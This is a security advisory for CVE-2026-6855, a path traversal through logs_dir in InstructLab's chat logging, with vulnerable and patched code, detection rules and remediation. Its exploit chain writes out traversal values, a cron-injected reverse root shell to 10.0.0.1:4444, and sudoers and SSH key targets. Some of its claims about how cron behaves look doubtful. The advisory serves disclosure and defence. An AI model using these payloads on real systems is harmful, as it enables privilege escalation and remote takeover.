CVE-2026-6855: InstructLab Chat Session Path Traversal via logs_dir
InstructLab's chat session handler fails to sanitize the logs_dir parameter, allowing local attackers to traverse directory boundaries and write files to arbitrary filesystem locations.
# InstructLab Has a Hidden Door in Its File System
InstructLab is an open-source AI tool that helps developers customize artificial intelligence models. Researchers just discovered a serious flaw: the program doesn't properly check *where* it's saving its files.
Think of it like a valet parking attendant who doesn't verify which car belongs to which customer. Instead of parking your car in the designated lot, they could park it in someone else's driveway — or even in the garage of a building across town.
In this case, an attacker with access to your computer could trick InstructLab into writing files anywhere on your system. They might overwrite important files, plant malicious code, or access sensitive information you thought was protected. It's particularly dangerous because it's a "local" vulnerability — meaning someone needs access to your machine first, but once they have it, this flaw gives them much more power.
Who should worry? Mainly developers and researchers using InstructLab on shared computers or systems they don't fully control. If you're the only person who uses your laptop and it's password-protected, your immediate risk is lower. But organizations running InstructLab on shared servers or development environments should take this seriously.
Here's what you should do: First, if you use InstructLab, check the project's website for updates and install any security patches immediately. Second, be cautious about running InstructLab on machines where other people have access — consider using it only on your personal device for now. Third, if you're an organization, audit which systems are running this software and restrict access to trusted users only. The developers are aware of this issue and working on a fix, but don't wait passively.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6855 is a path traversal vulnerability in InstructLab, Red Hat's open-source LLM fine-tuning framework. The flaw lives in the chat session handler's log file initialization routine, where the logs_dir parameter accepted from user-controlled configuration is passed directly into directory creation and file write operations without normalization or boundary enforcement. A local attacker can supply a crafted logs_dir value containing ../ sequences to escape the intended logging directory and write session log files to arbitrary locations on the filesystem.
CVSS 7.1 (HIGH) — local access required, no authentication bypass needed beyond having a shell on the machine. In shared or multi-tenant environments (e.g., a development server running InstructLab as a service), this is a realistic privilege escalation primitive.
Affected Component
The vulnerability is tracked under Red Hat Bugzilla Bug 2460013. The affected component is the instructlab Python package, specifically the chat session log handling subsystem. The relevant entry point is the chat command's session initialization, which constructs a log file path from a user-supplied or config-file-supplied logs_dir value.
Affected versions: see NVD entry for CVE-2026-6855. The issue was filed against the Security Response / vulnerability component, hardware All, OS Linux.
Root Cause Analysis
InstructLab's chat subcommand accepts a --logs-dir CLI flag (and its config.yaml equivalent logs_dir) that specifies where per-session chat transcripts are written. The session handler constructs the final log path by joining logs_dir directly with a generated filename, then calls os.makedirs followed by an open-for-write. Neither the directory component nor the resolved absolute path is validated against a trusted base path.
# src/instructlab/chat/chat.py (vulnerable)
def _init_session_log(logs_dir: str, session_id: str) -> str:
"""
Initialize the chat session log file.
Returns the path to the newly created log file.
"""
# BUG: logs_dir is user-controlled and never normalized or checked
# against a safe base directory. A value like
# "../../etc/cron.d" traverses out of the intended log root.
log_path = os.path.join(logs_dir, f"{session_id}.log")
# BUG: os.makedirs on an unsanitized path creates arbitrary directories
os.makedirs(logs_dir, exist_ok=True)
# BUG: open() then writes attacker-controlled path unconditionally
with open(log_path, "w", encoding="utf-8") as log_file:
log_file.write("") # creates the file at the traversed location
return log_path
def chat_cmd(config: Config, args: argparse.Namespace) -> None:
# logs_dir sourced from CLI arg --logs-dir or config.chat.logs_dir
# No validation is applied before passing to _init_session_log
logs_dir = args.logs_dir or config.chat.logs_dir # BUG: attacker input flows directly
session_id = _generate_session_id()
log_file = _init_session_log(logs_dir, session_id)
...
The core issue is a complete absence of os.path.realpath-based confinement. os.path.join does not strip ../ components, and os.makedirs happily follows them. Once the directory exists, the open(log_path, "w") call creates or truncates whatever file the traversed path resolves to.
Root cause:logs_dir is passed from user-controlled input directly into os.makedirs and open() without normalization via os.path.realpath() or prefix-checking against a trusted base directory, enabling arbitrary directory creation and file write.
Exploitation Mechanics
The attack requires local access — a shell account on the target machine — and the ability to invoke the ilab chat command or modify a configuration file read by InstructLab. In practice, any user who can run ilab is vulnerable.
EXPLOIT CHAIN:
1. Attacker identifies the base logs_dir, typically:
~/.local/share/instructlab/chatlogs/
2. Attacker crafts a malicious logs_dir value:
--logs-dir '../../../../etc/cron.d'
or via config.yaml:
chat:
logs_dir: "../../../../etc/cron.d"
3. ilab chat invokes chat_cmd() which reads logs_dir without sanitization.
4. _init_session_log() calls:
os.makedirs("../../../../etc/cron.d", exist_ok=True)
→ resolves to /etc/cron.d (no-op if already exists, no error)
5. session_id is generated (e.g. "20260101_120000_abcd1234")
6. open("../../../../etc/cron.d/20260101_120000_abcd1234.log", "w") is called
→ creates /etc/cron.d/20260101_120000_abcd1234.log
7. Chat session log content (transcript lines) is written to that file.
Attacker controls transcript content via typed input to the chat session.
8. If target is /etc/cron.d/, the written file is parsed by crond.
Attacker types a valid cron job line as their "chat message":
"* * * * * root /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
→ file now contains a valid cron entry → root command execution.
9. Alternative targets:
- ~/.ssh/authorized_keys → SSH key injection (if writable by victim user)
- /etc/sudoers.d/pwned → privilege escalation via sudo
- /var/spool/cron/root → direct crontab write
The session log format includes a timestamp header line followed by raw chat turns, so content injection requires the attacker to ensure the injected payload survives the surrounding log structure — achievable by choosing a target that tolerates non-payload lines as comments (cron treats unknown lines as errors but still processes valid ones).
Memory Layout
This is a filesystem-level vulnerability rather than a memory corruption bug; the relevant "layout" is the directory tree state before and after exploitation.
The correct fix is to resolve both the user-supplied logs_dir and the final log path to their canonical absolute forms via os.path.realpath(), then assert the resolved path shares the expected base prefix before performing any filesystem operations. A secondary defense is to reject any logs_dir value containing .. components prior to joining.
# BEFORE (vulnerable):
def _init_session_log(logs_dir: str, session_id: str) -> str:
log_path = os.path.join(logs_dir, f"{session_id}.log")
os.makedirs(logs_dir, exist_ok=True)
with open(log_path, "w", encoding="utf-8") as log_file:
log_file.write("")
return log_path
# AFTER (patched):
_DEFAULT_LOGS_BASE = os.path.realpath(
os.path.join(os.path.expanduser("~"), ".local", "share", "instructlab", "chatlogs")
)
def _init_session_log(logs_dir: str, session_id: str) -> str:
# Resolve to canonical absolute path, collapsing all symlinks and ../
resolved_dir = os.path.realpath(os.path.abspath(logs_dir))
# Enforce confinement: resolved path must be within the allowed base
allowed_base = os.path.realpath(_DEFAULT_LOGS_BASE)
if not resolved_dir.startswith(allowed_base + os.sep) and \
resolved_dir != allowed_base:
raise ValueError(
f"logs_dir '{logs_dir}' resolves outside allowed base "
f"'{allowed_base}': got '{resolved_dir}'"
)
log_path = os.path.join(resolved_dir, f"{session_id}.log")
# Re-check the final file path after joining
resolved_log = os.path.realpath(log_path)
if not resolved_log.startswith(allowed_base + os.sep):
raise ValueError(
f"Resolved log path '{resolved_log}' escapes allowed base."
)
os.makedirs(resolved_dir, exist_ok=True)
with open(resolved_log, "w", encoding="utf-8") as log_file:
log_file.write("")
return resolved_log
Note the double realpath check: once on the directory and once on the final file path. This matters because a directory could resolve safely while a symlink within it redirects the file write — the second check closes that gap. The startswith(base + os.sep) pattern (rather than bare startswith(base)) prevents a base of /safe/logs from incorrectly permitting /safe/logs-evil/.
Detection and Indicators
Since no exploitation in the wild has been confirmed, detection focus is on audit and behavioral monitoring:
Audit log signatures: Look for ilab chat invocations with --logs-dir arguments containing ../ sequences in shell history or process audit logs (auditd syscall execve).
# auditd rule to catch path traversal attempts in logs_dir:
-a always,exit -F arch=b64 -S openat -S open -F dir=/etc -F uid!=0 \
-k instructlab_traversal
# Search audit log for ilab writing outside expected dirs:
ausearch -k instructlab_traversal | grep -i "ilab\|instructlab"
# Check for unexpected .log files in sensitive directories:
find /etc /var/spool/cron /root/.ssh -name "*.log" -newer /tmp -ls
# Filesystem integrity check (AIDE/Tripwire) alert on:
/etc/cron.d/
/etc/sudoers.d/
~root/.ssh/authorized_keys
Behavioral indicator: A .log file appearing in /etc/cron.d/ or /etc/sudoers.d/ owned by a non-root user is a strong signal. InstructLab session logs follow the naming convention YYYYMMDD_HHMMSS_[hex8].log — that pattern in unexpected directories is a fingerprint.
Remediation
Immediate: Update to a patched InstructLab release once available (see NVD for CVE-2026-6855 for confirmed fixed versions). If running an unpatched version, restrict who can execute ilab chat via filesystem permissions on the binary or via sudo policy.
Defense in depth:
Run InstructLab under a dedicated service account with a restricted home directory and no write access to /etc, /var/spool, or other sensitive paths.
Apply an AppArmor or SELinux policy that confines the ilab process's write access to its own data directory subtree.
Enable auditd rules on openat syscalls for sensitive directories as shown above.
Treat config.yaml as a security boundary: validate chat.logs_dir at config load time, not at use time.
For downstream packagers (Fedora, RHEL): the Bugzilla entry (Bug 2460013) is filed under the Red Hat Security Response component. Track the advisory there for coordinated patch availability.